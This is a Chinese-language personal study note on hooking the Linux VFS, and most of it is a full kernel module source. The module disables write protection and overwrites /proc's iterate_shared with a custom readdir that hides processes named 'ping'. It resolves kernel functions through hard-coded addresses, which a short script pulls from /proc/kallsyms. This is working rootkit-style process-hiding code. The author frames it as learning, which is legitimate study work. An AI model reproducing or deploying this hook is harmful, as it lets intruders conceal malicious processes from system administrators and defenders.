Hook VFS 学习

攻击技术参考文章:https://github.com/g0dA/linuxStack/blob/e35eb9097032fd5cc25d23af3f67ff9a67db89f2/进程隐藏技术的攻与防-攻篇.md (膜拜)

通过基于 VFS 实现文件系统来理解 VFS,参考文章:https://www.cnblogs.com/wangzahngjun/p/5365310.html

VFS 结构参考两张图: Untitled-0792ab89-ae83-4b4b-9a99-5063bc369 Untitled-96773dd2-4d0d-4a1a-9291-6fc2c748c6ae

/proc 实现源码:https://elixir.bootlin.com/linux/v4.15/source/fs/proc/root.c

Hook 代码实现(很少写 C.......,代码还需要优化):

#include <linux/module.h> 
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/sched.h>
#include <linux/dcache.h>
#include <linux/cred.h>
#include <linux/ptrace.h>
#include <linux/threads.h>
#include <linux/pid_namespace.h>
#include "./zeroevil.c"
#include "internal.h"

typedef typeof(proc_readdir) *my_proc_readdir;
typedef typeof(proc_fill_cache) *my_proc_fill_cache;
typedef typeof(put_task_struct) *my_put_task_struct;
typedef typeof(next_tgid) *my_next_tgid;
typedef typeof(proc_pid_instantiate) *my_proc_pid_instantiate;
typedef typeof(ptrace_may_access) *my_ptrace_may_access;
void *originFileOpIterateShared;
#define TGID_OFFSET (FIRST_PROCESS_ENTRY + 2)
struct tgid_iter
{
    unsigned int tgid;
    struct task_struct *task;
};
static bool has_pid_permissions(struct pid_namespace *pid,
                                struct task_struct *task,
                                int hide_pid_min)
{
    my_ptrace_may_access mptrace_may_access;
    mptrace_may_access = (my_ptrace_may_access)0xffffffffa709cd20;
    if (pid->hide_pid < hide_pid_min)
        return true;
    if (in_group_p(pid->pid_gid))
        return true;
    return mptrace_may_access(task, PTRACE_MODE_READ_FSCREDS);
}

int hack_proc_pid_readdir(struct file *file, struct dir_context *ctx)
{
    struct tgid_iter iter;
    struct pid_namespace *ns = file_inode(file)->i_sb->s_fs_info;
    loff_t pos = ctx->pos;
    my_proc_fill_cache mporc_fill_cache;
    mporc_fill_cache = (my_proc_fill_cache)0xffffffffa7300020;
    my_put_task_struct mput_task_struct;
    mput_task_struct = (my_put_task_struct)0xffffffffa71db370;
    my_next_tgid mnext_tgid;
    mnext_tgid = (my_next_tgid)0xffffffffa72fe250;
    my_proc_pid_instantiate mproc_pid_instrantiate;
    mproc_pid_instrantiate = (my_proc_pid_instantiate)0xffffffffa72ff9f0;

    if (pos >= PID_MAX_LIMIT + TGID_OFFSET)
        return 0;

    if (pos == TGID_OFFSET - 2)
    {
        struct inode *inode = d_inode(ns->proc_self);
        if (!dir_emit(ctx, "self", 4, inode->i_ino, DT_LNK))
            return 0;
        ctx->pos = pos = pos + 1;
    }
    if (pos == TGID_OFFSET - 1)
    {
        struct inode *inode = d_inode(ns->proc_thread_self);
        if (!dir_emit(ctx, "thread-self", 11, inode->i_ino, DT_LNK))
            return 0;
        ctx->pos = pos = pos + 1;
    }
    iter.tgid = pos - TGID_OFFSET;
    iter.task = NULL;
    for (iter = mnext_tgid(ns, iter);
         iter.task;
         iter.tgid += 1, iter = mnext_tgid(ns, iter))
    {
        if (strcmp("ping", iter.task->comm) == 0)
        {
            printk("hide ping command....");
            continue;
        }
        char name[PROC_NUMBUF];
        int len;

        cond_resched();
        if (!has_pid_permissions(ns, iter.task, HIDEPID_INVISIBLE))
            continue;

        len = snprintf(name, sizeof(name), "%d", iter.tgid);
        ctx->pos = iter.tgid + TGID_OFFSET;
        if (!mporc_fill_cache(file, ctx, name, len,
                              mproc_pid_instrantiate, iter.task, NULL))
        {
            mput_task_struct(iter.task);
            return 0;
        }
    }
    ctx->pos = PID_MAX_LIMIT + TGID_OFFSET;
    return 0;
}
static int hack_proc_root_readdir(struct file *file, struct dir_context *ctx)
{
    my_proc_readdir mproc_readdir;
    mproc_readdir = (my_proc_readdir)0xffffffffa7301a90;
    if (ctx->pos < 256)
    {
        int error = mproc_readdir(file, ctx);
        if (unlikely(error <= 0))
            return error;
        ctx->pos = 256;
    }

    return hack_proc_pid_readdir(file, ctx);
}
int init_module(void)
{
    printk("start hook....");
    struct file *getFile = filp_open("/proc", O_RDONLY, 0);
    if (IS_ERR(getFile))
    {
        printk("open /proc error");
        return -1;
    }
    originFileOpIterateShared = getFile->f_op->iterate_shared;
    struct file_operations *originOperations = getFile->f_op;
    disable_wp();
    originOperations->iterate_shared = hack_proc_root_readdir;
    enable_wp();
    filp_close(getFile, 0);
    return 0;
}
void cleanup_module(void)
{
    struct file *getFile = filp_open("/proc", O_RDONLY, 0);
    if (IS_ERR(getFile))
    {
        printk("open /proc error");
        return;
    }
    struct file_operations *originOperations = getFile->f_op;
    disable_wp();
    originOperations->iterate_shared = originFileOpIterateShared;
    enable_wp();
    filp_close(getFile, 0);
    printk("end hook");
    return;
}
    echo "ptrace_may_access:"
    echo `grep ptrace_may_access /proc/kallsyms`
    echo "proc_fill_cache:"
    echo `grep proc_fill_cache /proc/kallsyms`
    echo "put_task_struct:"
    echo `grep put_task_struct /proc/kallsyms`
    echo "next_tgid:"
    echo `grep next_tgid /proc/kallsyms`
    echo "proc_pid_instantiate"
    echo `grep proc_pid_instantiate /proc/kallsyms`
    echo "proc_readdir"
    echo `grep proc_readdir /proc/kallsyms`

通过 /proc/kallsyms 获取相应函数地址,也可以使用 kallsyms_lookup_name,参数符号名来获取地址。

实现效果: Untitled-ba310575-083e-4ed3-a874-9d60f4fa42e5